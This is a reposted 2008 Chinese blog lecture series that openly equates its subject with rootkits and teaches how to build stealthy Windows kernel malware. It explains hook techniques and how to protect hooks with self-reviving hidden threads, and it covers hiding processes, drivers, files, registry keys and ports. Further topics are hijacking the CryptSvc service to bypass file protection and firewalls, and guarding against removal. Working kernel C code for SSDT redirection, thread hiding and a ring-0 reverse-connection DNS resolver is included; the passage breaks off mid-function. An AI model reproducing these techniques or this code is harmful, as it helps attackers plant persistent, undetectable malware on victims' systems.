• 【转】白菜dll讲座(转)


    http://hnbz.wordpress.com.cn/2008/12/14/白菜dll讲座(转)/   白菜普及课第一讲 Windbg以及DDK的安装和配置 2008-09-07 21:27白菜 == Rootkit Rootkit == 白菜 这第一讲就是普及一下基本知识(会有一些工具下载地址和配置的路径设置之类的) 首先是安装,首先要有DDK,否则是写不了驱动的,我推荐的IDE不是VC,那玩意太智能对于初学者而言是个依赖性的噩梦。我推荐的IDE是notepad++,下载的地方是:http://notepad-plus.sourceforge.net/tw/site.htm 主要原因只有一个有语法高亮,而且开源的东西,可以自己改着玩。 然后我们再来安装一个DDK,具体下载地址可以在www.driverdevelop.com上找到,版本一定要win2003 sp1的,6000的DDK是鸡助~ 再然后我们再安装一个VS 2008撑场面(没有2008,你用2005也行)下载可以在verycd上找, 然后给VS装上VS助手(这东西我不推荐你用,但是想快速开发还是需要的) 这些安装好了,我们去微软的地方( Install Debugging Tools for Windows 32-bit Version http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx Install Debugging Tools for Windows 64-bit Versions http://www.microsoft.com/whdc/devtools/debugging/install64bit.mspx)找个合适的windbg回来按上, 然后配置windbg的符号目录 C:\MyCodesSym; SRV*C:\MyLocalSym*http://msdl.microsoft.com/download/symbols 这里MyCodesSym是你编译驱动后产生的pdb放的地方。 好了,这样就基本OK了~ 但是在vista下好像Windbg不能直接开本地测试,没错,不过没有关系,我们有强大的工具可以用~ 虽然只能用于32位的Vista但是一般够用了~具体地址在这里 http://hi.baidu.com/xiaoweitech/blog/item/2a344ddd735aa2315982dd58.html   白菜普及课第二讲 操作系统设置和Dump 2008-09-07 21:49白菜 == rootkit rootkit == 白菜 dump 是蓝屏的钙,蓝屏的钙可以解决问题~~ 以下以vista用户为例 点击计算机》右键》属性》高级系统设置》启动和故障恢复》设置》选择核心内存转储,勾上覆盖现有文件 这样就成功啦啦~~ 然后关于dump分析: 可以看下连接 http://hi.baidu.com/isyull/blog/item/b332e463d5c1f9630d33fa40.html 这是基本的操作,具体到堆栈分析时有些特别,下一讲再说。   白菜普及课头两讲的一些参考资料 2008-09-08 02:39关于环境的文章 http://bbs.pediy.com/showthread.php?t=48220 http://bbs.pediy.com/showthread.php?t=69395&viewgoodnees=1   白菜普及课第三讲 谈谈Hook 2008-09-08 14:37白菜 == Rootkit Rootkit == 白菜 本讲不再照顾初学者,有关Hook的具体事宜可以参考看雪地址:http://bbs.pediy.com/showthread.php?t=56817 我们这里要说五个东西 第一个是SSDT HOOK已经过时了,所以以后大家HOOK的时候多用inline hook(不明白inline hook和ssdt hook的可以去看那个连接) 第二个是你要是用SSDT HOOK,也不能单纯的使用SSDT Hook,要结合其他的HOOK方式搞~ 第三个是EAT HOOK和IAT HOOK(IAT参考sysnap的文章,连接是http://bbs.pediy.com/showthread.php?t=62316)不仅仅可以HOOK函数,还可以HOOK 变量,比如PsProcessType,NtBuildNumber,KeServiceDescriptorTable,具体用这些hook可以干什么以后,我们再说。 第四个是hook未导出的函数,这里重点说说搜索,通式性的搜索几个要点: 第一点是找临近函数,在IDA使用查找该函数的引用来找,可能有多级搜索的可能,因此要找最容易的引用关系,这个看经验啦啦; 第二点是特征选取,尽量选取特征比较明显,比较容易跨平台搜索的,然后对特征做翻译 如mov edx,xxxxx 翻译成 mov reg32,imm32多选一些特征翻译,搜索时依靠反汇编引擎,不要自己手工搜索–手工搜索是个麻烦的事情,而且通常不通用都是因为手工+特征选的不好产生的 对于多级搜索,特征要取的更多一些,尽量使用翻译性特征。 第三点就是反汇编引擎,一定要支持x64的引擎,推荐引擎连接为:http://www.ragestorm.net/distorm/ 好了关于未导出的搜索就到这里 接 下来我们来说第五个要点,inline hook使用汇编引擎,为什么要汇编引擎,这是因为普通的inline hook不能满足白菜的工作,普通只使用反汇编引擎的inline hook是很难,做出变化性的hook的,每次hook的代码不同,变体引擎比较容易写(具体可以参考很多东西),使用汇编引擎的好处是可以处理x64和 x86的hook问题~这里不做什么推荐了,大家可以根据喜好使用自己的东西,另外可以弄花,一般情况下反汇编分析查找inline hook的工具是不支持junk code识别的,大可以用十多条花搞晕它~~ 第六个东西就是object hook和pool hook,之所以一起谈论,是因为object hook要说的东西比较简单,第一点就是object的处理路径不仅仅是objectype里的那些东西,大可以更深一些,比如Parse过程内部的某个 call的内部的某个未导出函数上的hook,这样才叫深度object hook!表面那种hook不是很好的说,容易检查,也容易恢复。pool hook说的不仅仅是把hook 的代码放到nonpaged pool里那么简单,也不仅仅是hook ExAllocateXXX那么简单,pool hook是说可以通过pool管理器的object hook做一些简单的保护策略等等…   白菜普及课第四讲 谈谈Hook的保护 2008-09-08 23:15白菜 = rootkit rootkit = 白菜 这里讲讲述一些保护hook的思路,一些很猥琐但是很效的思路,会给出一些流程图,方便白菜作者们使用。 1.通用的SSDT hook,EAT Hook,IAT Hook,Inline hook保护技巧 武功有三种境界,白菜的hook保护也有三种境界 第一个境界就是 开个线程,定时扫描自己的挂钩是否还活着,当然为了好办事一点要抹掉自己那个线程的 XX结构,小段代码一下: //myThread就是你的线程object,myThreadRoutine就是线程的那个代码函数(如果是pool级的就是地址)~ for (DWORD Index=0; Index<0×300; Index+=4) { if ( *(DWORD*)((DWORD)myThread+Index) == (DWORD)MyThreadRoutine) { *(DWORD*)((DWORD)myThread+Index) = (DWORD)RtlInitUnicodeString+0×110; } } 注意这段代码最好在线程里自己调用,否则可能惨死~ 看了第一个境界之后自然感觉应该有更高的境界,比如一旦线程被人XX了怎么办~ 于是第二境界出现,动态补充线程法,用一个DPCTimer来循环检查我们的线程是否被人搞了,一旦被搞立刻建立新的顶上。同时也有问题,DPCTimer可以被扫描到并被干掉~~ 于是有第三境界,就是hal!kfreleaseSpinlock inline hook法配合恶心方式的线程复活法~ a.假定我们inline hook的KfReleaseSpinlock叫newKfRspl newkfRspl进入,调用原始的kfreleasespinlock恢复irql,检查irql是否<DIPATCH_LEVEL,是检查线程myThreadHandle是否存活,不存活,重现建立线程,否则返回。 b.假设我们注册了一个ThreadNotify,里面判断是否是我们的线程退出,我们的线程退出,且我们没有发退出指令,则立刻去重现建立线程。(注意要和kf里的建立过程互斥!) c.注册一个processNotify,每次进程退出或者创建时,我们都去检查保护线程是否存在,如果不再立刻调用重建函数。 d.保护线程中除了检查hook外还检查notify是否在相应的列表中,如果不在立刻重新注册,如果注册失败则自己替换列表中的一项~ 2.SSDT HOOK的特别保护方法 这里简单说下,上一讲在关于iat,eat的hook上,我说了可以hook变量,比如KeServiceDescriptorTable 我们可以自己定义一个变量myKeServiceDescriptorTable,分配给他nonpagedpool~ 然后再给XX一下具体代码如下: typedef PVOID* PNTPROC; typedef struct _SYSTEM_SERVICE_TABLE { PNTPROC ServiceTable; PULONG CounterTable; ULONG   ServiceLimit; PUCHAR ArgumentTable; } SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE; typedef struct _SERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE ntoskrnl; SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE iis; SYSTEM_SERVICE_TABLE unused; } SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; PULONG mySST; PUCHAR mySSTParamTable; ULONG LimitNumber; PSERVICE_DESCRIPTOR_TABLE myKeServiceDescriptorTable; void doX(){ myKeServiceDescriptorTable = (PSERVICE_DESCRIPTOR_TABLE)ExAllocatePoolWithTag(NonPagedPool,sizeof(SERVICE_DESCRIPTOR_TABLE)+20,’vxk’);                                        LimitNumber = KeServiceDescriptorTable->ntoskrnl.ServiceLimit+KeServiceDescriptorTable->ntoskrnl.ServiceLimit; mySST = (PULONG)ExAllocatePoolWithTag(NonPagedPool,LimitNumber * 4+20,’vxk’); mySSTParamTable = (PUCHAR)ExAllocatePoolWithTag(NonPagedPool,LimitNumber+20,’vxk’); memcpy(mySST,KeServiceDescriptorTable->ntoskrnl.ServiceTable,KeServiceDescriptorTable->ntoskrnl.ServiceLimit *4); memcpy(mySSTParamTable,KeServiceDescriptorTable->ntoskrnl.ArgumentTable,KeServiceDescriptorTable->ntoskrnl.ServiceLimit); uplock(); myKeServiceDescriptorTable->ntoskrnl.ServiceLimit = LimitNumber; myKeServiceDescriptorTable->ntoskrnl.ServiceTable = (PNTPROC)mySST; myKeServiceDescriptorTable->ntoskrnl.ArgumentTable = mySSTParamTable; upunlock(); return; } 这样完成了我们自己的SSDT备份,然后我们做个新处理~ 设上一个ImageLoadNotifyRoutine,每次有驱动加载进来的时候,我们就对该驱动的 IAT做HOOK,HookIAT(base,”KeServiceDescriptorTable”,myKeServiceDescriptorTable); 此时就完成了第一阶段的ssdt hook保护,别忘了结合通用保护。 另外我们要为喜欢使用MmGetSystemRoutineAddress获取的人准备一个inline hook吧~ 我们inline hook MmGetSystemRoutineAddress当要获取KeSXX时,给他们返回我们的myKeSXX~ 此时就很完美了~再加上通用保护,一般情况已经可以应付了~下面进行下一个内容啦啦~ 3.Base混淆和MmIsXXX钩子 首先我们来讲什么是Base混淆,所谓base混淆就是说imagebase的混淆,目的只有一个让人不能发现你(pool rootkit也需要,不止混淆自己的base). 第一种混淆是混淆自己的base,也就是修改自己的base和size,这个直接改Driver_object里的相应结构就行了–具体就不说了~ 第 二种混淆是通过hook ZwXXX返回的结果修改base,对于抹了自己的链的恐怕不用了~但是修改这个返回结果中的base还有另外的用法就是混淆ntosxxx的base, 这样做可以让某些靠这样取base再文件取offset的ARK完蛋的不能检查hook~~具体该如何混淆就仁者见仁智者见智了~ 另外完全可以改XX链的ntosbase,但是这样改了,你就要hook RtlImageDirectoryEntryToData处理你的ntosbase的处理问题… 最后说说MmIsAddressValid的Hook,这个hook可以让你搞定很多ARK的内存扫描~~比如扫描你的hook~~ 当然还是要结合通用保护的~ 另外RtlImageNtHeader上做hook可以比imageloadnotifyroutine更爽~ 至此hook保护完事~   白菜普及课第五讲 说一下隐藏的问题 2008-09-09 06:37白菜 = rootkit rootkit = 白菜 一般白菜的隐藏基本是这几个东西:文件,注册表,端口,进程,服务,驱动模块,DLL模块 再加上一条hook. 首 先说进程隐藏,这个是最常见的隐藏啦,也是最难做到的隐藏,因为进程可以枚举的地方实在是太多了。而且有的地方无法断开,最多就是针对进程有效性做特殊处 理来欺骗工具软件(断开能断的,比如pspCidTable抹掉自己,csrss里断开,xxlist断开,typelist断开,自己复制 objectheader到pool然后xx掉不该有的header,自己复制psprocessType,XX掉原先的type之类的来做清理工作,把 自己的状态设置为删除中,清除所有与自己有关的ring3 handle等等) 接着我们来说说DLL模块隐藏,PEB里断开,然后参照http://www.debugman.com/read.php?tid=1685抹掉XX就差不多隐藏了,要想彻底的话,还要干掉自己的PE头–防止XX法检查,还要搞掉一些其他的东西,比如模糊线程startRoutine(在hook保护中说了一下方法了,但是DLL枚举上有时候是从线程入手发现未知模块的) 接下来,我们说下驱动模块的隐藏,这个比较简单直接采用reloadAndRun方式可以解决,具体可以参考某人的XX(连接:http://www.debugman.com/read.php?tid=983)~ 这样子可以完全没有驱动模块了–可以自己建一个driverobject出来,这样子可以随便XX一下~ 再 接下来说下文件隐藏吧,一般性的文件隐藏(我说的都是高级模式的啦),采用Ak922方式比较好,同时注意hook保护,基本上比较不错的解决了多数工 具,对于少数发XX下去读磁盘的也是可以在iofXXX里做过滤的,其处理IRP为SCSI类型和DEVIO类型(不过这里要十分小心蓝屏!),过滤XX 的buffer可以搞定~~吼吼~~对于端口方式枚举或者磁盘XX法枚举的,看到工具后还是插DLL去GUI hack吧(进程也可以GUI hack的)~ 然后再来看看注册表隐藏和服务隐藏,我想说的是注册表一般情况下用object干涉法可以很好的隐藏,但是有直接解析 Hive的风险(其实服务隐藏,断开services.exe里服务结构后,再隐藏注册表就隐藏了),还有缓冲的问题,对于解析Hive涉及到文件上了, 多种方式解析一种是Dump Hive然后解析,一种直接解析Hive文件,还有一种是直接内存解析,对于Dump Hive解析也有几种方式,一种是通过ZwRegXX来进行,一种是通过特殊方法来dump hive出来,对于dump hive可以通过在每个文件的CLOSE后去看不看是不是Hive,是Hive就读进来解析做处理再写回~~对于直接hive文件解析,只要合理过滤就可 以拦截(拒绝其访问是最好的方法,因为要是处理起来太复杂~);另一种就是内存解析了,这个没啥好方法解决。~对于缓存问题,不多说了…(具体隐藏方法 baidu搜索HvpGetCellMapped可以找到一堆,推荐看这http://www.ivanlef0u.tuxfamily.org/?p=64) 其 实有个好思路就是首先用自己的DLL替换服务CryptSvc的DLL,对于x32的系统只要暂停CryptSvc服务就可以XX掉WFP了,然后替换这 个服务的DLL,然后再开启这个服务~你就有了一个新的XX服务了,此时你可以利用这个服务来启动驱动(这里不是说绕过XX哦?只是说如何实现自己的驱动 加载),启动后删除注册表项,另外驱动里用重定向保护这个DLL被人检查时还是那个CryptSvc的DLL,其实内存变了,另外CryptSvc的 dLL联网合法…呵呵,因为重定向保护连hash检查也过去了,穿防火墙啦啦~(ring3的服务停止和重启都不会被报警这个很强大) 接着 回头看下端口问题,很多白菜都是要DLL连联网的,因此要隐藏端口,一般的白菜都抄ZwXXX hook法隐藏端口,此方法第一是在Vista没有作用,第二是不能真的隐藏起来。所以真的要隐藏端口还是一样的处理方式,直接走iofXXX的挂钩,对 于Vista处理nsiXXX内部的请求,对于非Vista处理tcpip的请求,轻松隐藏~ 最后说下Hook的隐藏,其方法就是访问重定向–简单的说就是让所有非磁盘直接读取ntosXXX和hal,win32k的都去访问可怕的notepad.exe文件(具体重定向采用强大的obj文件干涉法) 本讲暂时到这里,以后可能补充~   白菜普及课第六讲 有关各种保护 2008-09-09 07:26白菜 = rootkit rootkit= 白菜 保护项目前看起来该有Hook,文件,注册表,进程 这四个东西,我在第四讲特别单独列出的讲了Hook保护,所以这里不再重复了。 我 们先看文件,老实说第一点就是防止被人给删了,第二点就是防止被人给扫描出白菜的大名来,第三点就是不能让人看出来它是坏人;我们假定我们没有做隐藏(这 颗白菜不隐藏自己,他主要工作是保护),我们要保护自己,无非几个Hook点,IoCreateFile,IopCreateFile,FSD irpdispatch,IoCheckXXX,IopParseFileXX–我想说的是我只hook IoParseFileXXX,还有ATAPI级处理,看起来我是坏人中的坏人啦~ioparseFileXXX中,我们不拒绝访问,我们重定向访问 sys的让他们访问微软的1394bus.sys去~访问exe就去explorer.exe吧,访问DLL就是user32.dll;然后ATAPI级 里严格禁止访问我们的sys文件,dll文件,exe文件~结合hook保护,hook隐藏~~当然为了防止被删除这些系统重要文件,可以采用重定向到备 份文件夹内这些文件身上–一般情况不会删除,除非那些靠文件名查杀垃圾才去直接就删连判断是不是M$签名都不做(如果用了CryptSvc替换法就不能用 签名了,但是也有方法能用签名–驱动启动后创建用新的服务来运行CryptSvc的原始DLL或者直接自己做svchost的load工作,驱动中已经重 定位搞定WFP了,但是很麻烦~)~~ 对于注册表跟隐藏一样,因为注册表项里只有CryptSvc留着,可以不用保护和隐藏,唯一需要做的 就是不能让人禁止服务–每次ZwSetXXX之后恢复服务启动键值的数字~~不过如果没有用CryptSvc的话,就是另一个方式了,通过obj干涉或者 干脆hook obopenobjectbyname来做保护~~ 最后谈谈进程,这个进程我们不能让人干掉它,所以要对obXXX做处理或者obj干涉(关于obj进程干涉可以看这里http://hi.baidu.com/xi4oher/blog/item/88cf9f559e52b5193b293567.html),另外对于线程也是一样要保护的~~(其实采用CryptSvc服务的好处就是基本不会有人察觉出来~另外驱动中对于进程可以做更多保护比如挂钩ExRXXX那个深深的东西)   白菜普及课第七讲 连接网络~ 2008-09-09 11:17白菜 = rootkit rootkit = 白菜 本节想要说点关于网络的东西,我们不提ring3的网络,说ring0的网络。 sysnap同学提议不要再说hook了,好吧,那我们就不说hook,我们说正常的网络~ 由于NDIS那些都是hook的,所以我们不去提他,有兴趣的人可以baidu搜索”uty rootkit” 对于Vista下的WSK我也不想提他~因为它不支持XP/2003啊~ 我们说说TDX~这里说说TDX的反弹连接~ 这里说的是纯ring0的反弹,不需要ring3支持~~ ring0使用TDX反弹主要问题只有一个就是DNS解析问题 第一个要点是获得DNS的地址 使用如下代码获取 int ReadDnsServerFromRegistry () { //Variables locales NTSTATUS       status = STATUS_UNSUCCESSFUL; WCHAR       ChaineRegistre[] = L”\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces“; UNICODE_STRING     usRegistryKey = {0}; OBJECT_ATTRIBUTES     obNomClefRegistre = {0}; HANDLE        RegHandle = 0; UNICODE_STRING     usRegistryKeySub = {0}; OBJECT_ATTRIBUTES     obNomClefRegistreSub = {0}; HANDLE        RegHandleSub = 0; WCHAR       ChaineEnableDHCP[] = L”EnableDHCP”; WCHAR       ChaineNameServer[] = L”NameServer”; WCHAR       ChaineDhcpNameServer[] = L”DhcpNameServer”; char        informations_lues[256]; ULONG       taille_lue = 0; KEY_VALUE_FULL_INFORMATION *KeyValue = NULL; char        adresses_ips_dns[40]; int         compteur_subkey = 0; unsigned int       adresse = 0; RtlInitUnicodeString ( &usRegistryKey, ChaineRegistre); InitializeObjectAttributes ( &obNomClefRegistre, &usRegistryKey, OBJ_CASE_INSENSITIVE| OBJ_KERNEL_HANDLE, NULL,NULL); status = ZwOpenKey( &RegHandle, KEY_READ, &obNomClefRegistre); if (status != STATUS_SUCCESS) { return -1; } compteur_subkey = 0; status = STATUS_SUCCESS; while (TRUE) { memset(informations_lues,0,256); status = ZwEnumerateKey ( RegHandle, compteur_subkey, KeyBasicInformation, &informations_lues, 256, &taille_lue); if (status != STATUS_SUCCESS) break; RtlInitUnicodeString ( &usRegistryKeySub, ((*(KEY_BASIC_INFORMATION*)&informations_lues).Name)); InitializeObjectAttributes ( &obNomClefRegistreSub, &usRegistryKeySub, OBJ_CASE_INSENSITIVE| OBJ_KERNEL_HANDLE, NULL,NULL); obNomClefRegistreSub.RootDirectory = RegHandle; status = ZwOpenKey( &RegHandleSub, KEY_READ, &obNomClefRegistreSub); if (status != STATUS_SUCCESS) { compteur_subkey++; continue; } memset(informations_lues,0,256); RtlInitUnicodeString ( &usRegistryKey, ChaineEnableDHCP); status = ZwQueryValueKey (   RegHandleSub, &usRegistryKey, KeyValueFullInformation, &informations_lues, 256, &taille_lue); if (status != STATUS_SUCCESS) { compteur_subkey++; ZwClose(RegHandleSub); continue; } KeyValue = (KEY_VALUE_FULL_INFORMATION *)informations_lues; if ( *(int*) (informations_lues+KeyValue->DataOffset)) { RtlInitUnicodeString ( &usRegistryKey, ChaineDhcpNameServer); } else { RtlInitUnicodeString ( &usRegistryKey, ChaineNameServer); } memset(informations_lues,0,256); status = ZwQueryValueKey (   RegHandleSub, &usRegistryKey, KeyValueFullInformation , &informations_lues, 256, &taille_lue); if (status != STATUS_SUCCESS) { compteur_subkey++; ZwClose(RegHandleSub); continue; } RtlZeroMemory(adresses_ips_dns,40); UnicodeToString(adresses_ips_dns, informations_lues+KeyValue->DataOffset, 40); ZwClose(RegHandleSub); adresse = inet_atoi(adresses_ips_dns); if (adresse == 0) { compteur_subkey++; continue; } ZwClose (RegHandle); return adresse; compteur_subkey++; } ZwClose (RegHandle); return -1; } 获取了DNS的ip后问题就容易处理,剩下构造dns请求包和udp的相关东西~~ 因为dns请求的协议要求获得本机地址,要去取本机地址,代码如下 int ReadHostIPsFromRegistry ( OUT char *hostent_buf) { NTSTATUS       status = STATUS_UNSUCCESSFUL; PHOSTENT      pHostent = NULL; int*        pHostentArray= NULL; char*       pHostentData = NULL; WCHAR       ChaineRegistre[] = L”\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces“; UNICODE_STRING     usRegistryKey = {0}; OBJECT_ATTRIBUTES     obNomClefRegistre = {0}; HANDLE        RegHandle = 0; UNICODE_STRING     usRegistryKeySub = {0}; OBJECT_ATTRIBUTES     obNomClefRegistreSub = {0}; HANDLE        RegHandleSub = 0; WCHAR       ChaineEnableDHCP[] = L”EnableDHCP”; WCHAR       ChaineIPAddress[] = L”IPAddress”; WCHAR       ChaineDhcpIPAddress[] = L”DhcpIPAddress”; char        informations_lues[256]; ULONG       taille_lue = 0; KEY_VALUE_FULL_INFORMATION *KeyValue = NULL; char        adresse_ip[20]; int         compteur_subkey = 0; unsigned int       adresse = 0; pHostent = (PHOSTENT)hostent_buf; pHostentData = hostent_buf + sizeof(HOSTENT); pHostent->h_addrtype = AF_INET; pHostent->h_length = 4; pHostent->h_name = pHostentData; strcpy(pHostentData, global_pwsadata->hostname); (char*)pHostentArray = pHostentData + strlen(pHostentData)+1; pHostent->h_addr_list = (unsigned int**)pHostentArray; pHostentData = ((char*)pHostentArray) + (4*10); RtlInitUnicodeString ( &usRegistryKey, ChaineRegistre); InitializeObjectAttributes ( &obNomClefRegistre, &usRegistryKey, OBJ_CASE_INSENSITIVE| OBJ_KERNEL_HANDLE, NULL,NULL); status = ZwOpenKey( &RegHandle, KEY_READ, &obNomClefRegistre); if (status != STATUS_SUCCESS) { return -1; } compteur_subkey = 0; status = STATUS_SUCCESS; while (TRUE) { memset(informations_lues,0,256); status = ZwEnumerateKey ( RegHandle, compteur_subkey, KeyBasicInformation, &informations_lues, 256, &taille_lue); if (status != STATUS_SUCCESS) break; RtlInitUnicodeString ( &usRegistryKeySub, ((*(KEY_BASIC_INFORMATION*)&informations_lues).Name)); InitializeObjectAttributes ( &obNomClefRegistreSub, &usRegistryKeySub, OBJ_CASE_INSENSITIVE| OBJ_KERNEL_HANDLE, NULL,NULL); obNomClefRegistreSub.RootDirectory = RegHandle; status = ZwOpenKey( &RegHandleSub, KEY_READ, &obNomClefRegistreSub); if (status != STATUS_SUCCESS) { compteur_subkey++; nprintf(”[niveau socket] !! ReadHostIPsFromRegistry : Echec d’ouverture du registre sur sous-clef\n”); continue; } memset(informations_lues,0,256); RtlInitUnicodeString ( &usRegistryKey, ChaineEnableDHCP); status = ZwQueryValueKey (   RegHandleSub, &usRegistryKey, KeyValueFullInformation, &informations_lues, 256, &taille_lue); if (status != STATUS_SUCCESS) { compteur_subkey++; nprintf(”[niveau socket] !! ReadHostIPsFromRegistry : Echec lecture valeur EnableDHCP\n”); ZwClose(RegHandleSub); continue; } KeyValue = (KEY_VALUE_FULL_INFORMATION *)informations_lues; if ( *(int*) (informations_lues+KeyValue->DataOffset)) { RtlInitUnicodeString ( &usRegistryKey, ChaineDhcpIPAddress); } else { RtlInitUnicodeString ( &usRegistryKey, ChaineIPAddress); } memset(informations_lues,0,256); status = ZwQueryValueKey (   RegHandleSub, &usRegistryKey, KeyValueFullInformation , &informations_lues, 256, &taille_lue); if (status != STATUS_SUCCESS) { compteur_subkey++; ZwClose(RegHandleSub); continue; } RtlZeroMemory(adresse_ip,20); UnicodeToString(adresse_ip, informations_lues+KeyValue->DataOffset, 20); ZwClose(RegHandleSub); adresse = inet_atoi(adresse_ip); if (adresse == 0) { compteur_subkey++; continue; } *pHostentArray++ = (int)pHostentData; RtlCopyMemory( pHostentData, &adresse, 4); pHostentData += 4; compteur_subkey++; } ZwClose (RegHandle); return 0; } 好了这样可以开始构造的工作了~~哈哈~~ 一些定义 typedef struct _async_context { IO_STATUS_BLOCK IoStatusBlock; KEVENT     CompletionEvent; PVOID     Buffer; } async_context, *pasync_context; #define PF_INET   TDI_ADDRESS_TYPE_IP #define AF_INET   TDI_ADDRESS_TYPE_IP #define SOCK_STREAM 0 //TCP #define SOCK_DGRAM   1 //UDP #define SOCK_RAW   2 //RAW #define TDI_MAX_SOCKET   256 #define TDI_MAX_BACKLOG 20 #define TDI_TCP_DEVICE_NAME_W   L”\\Device\\Tcp” #define TDI_UDP_DEVICE_NAME_W L”\\Device\\Udp” #define TDI_RAW_DEVICE_NAME_W L”\\Device\\RawIp” #define TDI_TIMEOUT_CONNECT_SEC   60 #define TDI_TIMEOUT_DISCONNECT_SEC 60 #define TDI_TIMEOUT_COMMUNICATION 60 #define SOCKET_STATUS_CLEAR     0 #define SOCKET_STATUS_ALLOCATED    1 #define SOCKET_STATUS_TRANSPORT    2 #define SOCKET_STATUS_CONNECTION    3 #define SOCKET_STATUS_CON_AND_TRANS   4 #define SOCKET_STATUS_ASSOCIATED    5 #define SOCKET_STATUS_LISTEN     6 #define SOCKET_STATUS_WAITING_INBOUND 7 #define SOCKET_STATUS_DISCONNECTED   8 #define SOCKET_STATUS_CONNECTED    9 #define SOCKET_STATUS_CHANGING    10 #define WSA_NOT_ENOUGH_MEMORY     8 #define WSAEMFILE        10024 #define WSAEPROTOTYPE       10041 #define WSAEPROTONOSUPPORT     10043 #define WSAESHUTDOWN       10058 #define WSANO_DATA        11004 typedef struct _sockaddr { int sa_family; USHORT sin_port; ULONG in_addr; UCHAR sin_zero[8]; } sockaddr; typedef struct { char * h_name; char ** h_aliases; short h_addrtype; short h_length; unsigned int ** h_addr_list;//char } HOSTENT, *PHOSTENT; typedef struct _WSADATA { struct protocol_info { UNICODE_STRING   usDeviceName; OBJECT_ATTRIBUTES oaDeviceAttributes; PDEVICE_OBJECT   pDeviceObject; } Protocol[3]; int      in_use; PSOCKET_OBJECT   pskSocketArray; PDRIVER_OBJECT   pDriverObject; PVOID EventDisconnected; PVOID EventPeerAckDisconnect; PVOID EventDnsAnswer; int serveur_dns; char* hostname; } WSADATA, *PWSADATA; typedef struct { unsigned short id;       // identification number unsigned char rd :1;     // recursion desired unsigned char tc :1;     // truncated message unsigned char aa :1;     // authoritive answer unsigned char opcode :4; // purpose of message unsigned char qr :1;     // query/response flag unsigned char rcode :4; // response code unsigned char cd :1;     // checking disabled unsigned char ad :1;     // authenticated data unsigned char z :1;      // its z! reserved unsigned char ra :1;     // recursion available unsigned short q_count; // number of question entries unsigned short ans_count; // number of answer entries unsigned short auth_count; // number of authority entries unsigned short add_count; // number of resource entries } DNS_HEADER; //DNS Question typedef struct { unsigned short qtype; unsigned short qclass; } QUESTION; typedef struct { unsigned short name; unsigned short type; unsigned short _class; unsigned short ttl_hi; unsigned short ttl_low; unsigned short data_len; unsigned char rdata[1]; }CUSTOM_RES_RECORD;
    http://hnbz.wordpress.com.cn/2008/12/14/白菜dll讲座(转)/ 下面开始贴具体DNS请求过程的代码了 PHOSTENT gethostbyname ( IN char *name) { sockaddr    sockaddr_dns = {0}; unsigned char* phostent_buf = NULL; if (global_pwsadata->serveur_dns == 0) { return NULL; } phostent_buf = malloc_np(2048); if (phostent_buf == NULL) { errno = WSA_NOT_ENOUGH_MEMORY; return NULL; } RtlZeroMemory (phostent_buf, 2048); if ( strcmp(name, global_pwsadata->hostname) == 0) { if (ReadHostIPsFromRegistry (phostent_buf) == -1) { free(phostent_buf); return NULL; } return (PHOSTENT)phostent_buf; } sockaddr_dns.sa_family = AF_INET; sockaddr_dns.in_addr = global_pwsadata->serveur_dns; sockaddr_dns.sin_port = HTONS(53); if ( query_dns ( sockaddr_dns, name, phostent_buf, FALSE) != -1) { return (PHOSTENT)phostent_buf; } else { free(phostent_buf); return NULL; } } 下面代码来自俄国鬼子 int query_dns ( IN sockaddr sockaddr_dns, IN char* nom_a_resoudre, OUT char *hostent_buf, IN BOOL rdns) { sockaddr   sockaddr_bind = {0}; int     com_socket = 0; NTSTATUS status = STATUS_UNSUCCESSFUL; int taille_string_requete_format_dns = 0; int taille_string_requete = 0; unsigned char * buf = NULL; DNS_HEADER * dns = NULL; int      taille_buffer_dns = 0; char *      res_record_crawler = NULL; CUSTOM_RES_RECORD * res_record = NULL; unsigned int *     adresse_ip = NULL; int        compteur_reponses = 0; PHOSTENT hostent = NULL; char*    hostent_content = NULL; char**    hostent_array = NULL; buf = build_dns_query ( nom_a_resoudre, &taille_buffer_dns, rdns); dns=(DNS_HEADER*)buf; sockaddr_bind.sa_family = AF_INET; com_socket = socket(PF_INET, SOCK_DGRAM ,0); if (com_socket == -1) { free(buf); return -1; } status = bind(com_socket,&sockaddr_bind,sizeof(sockaddr)); if (status == -1) { free (buf); status = close(com_socket); if ( status == -1) {;} return -1; } MyTdiSetEventHandler ( global_pwsadata->Protocol[global_pwsadata->pskSocketArray[com_socket].type].pDeviceObject, global_pwsadata->pskSocketArray[com_socket].pTransportObject, TDI_EVENT_RECEIVE_DATAGRAM , global_pwsadata->EventDnsAnswer, &global_pwsadata->pskSocketArray[com_socket].contexte); KeInitializeEvent ( &global_pwsadata->pskSocketArray[com_socket].contexte.CompletionEvent, NotificationEvent, FALSE); global_pwsadata->pskSocketArray[com_socket].contexte.Buffer = buf; status = sendto (com_socket,dns,taille_buffer_dns,0,&sockaddr_dns,sizeof(sockaddr)); if ( status == -1) { free (buf); status = close(com_socket); if ( status == -1) {;} return -1; } KeWaitForSingleObject( &global_pwsadata->pskSocketArray[com_socket].contexte.CompletionEvent, Executive, KernelMode, FALSE, NULL); status = close(com_socket); if ( status == -1) { return -1; } if (dns->ans_count == 0) { free (buf); return -1; } else { hostent = (PHOSTENT) hostent_buf; hostent_content = hostent_buf + sizeof(HOSTENT); taille_string_requete = strlen(nom_a_resoudre); RtlCopyMemory( hostent_content, nom_a_resoudre, taille_string_requete); hostent->h_name = hostent_content; hostent_array = (char**)(hostent_content + taille_string_requete+1);//ASCIIZ hostent_content += taille_string_requete+ 1 + (NTOHS(dns->ans_count) + 1)*4; if (!rdns) { hostent->h_aliases = NULL; hostent->h_addrtype = AF_INET; hostent->h_length = 4; hostent->h_addr_list = (unsigned int**)hostent_array; } else hostent->h_aliases = (char**)hostent_array; res_record_crawler = (char *) dns+taille_buffer_dns; for (compteur_reponses = 0; compteur_reponses < NTOHS(dns->ans_count);compteur_reponses++) { res_record = (CUSTOM_RES_RECORD*) res_record_crawler; if (!rdns) { if (NTOHS(res_record->type) == 1) { adresse_ip = (unsigned int*) (res_record->rdata); *hostent_array++ = hostent_content; 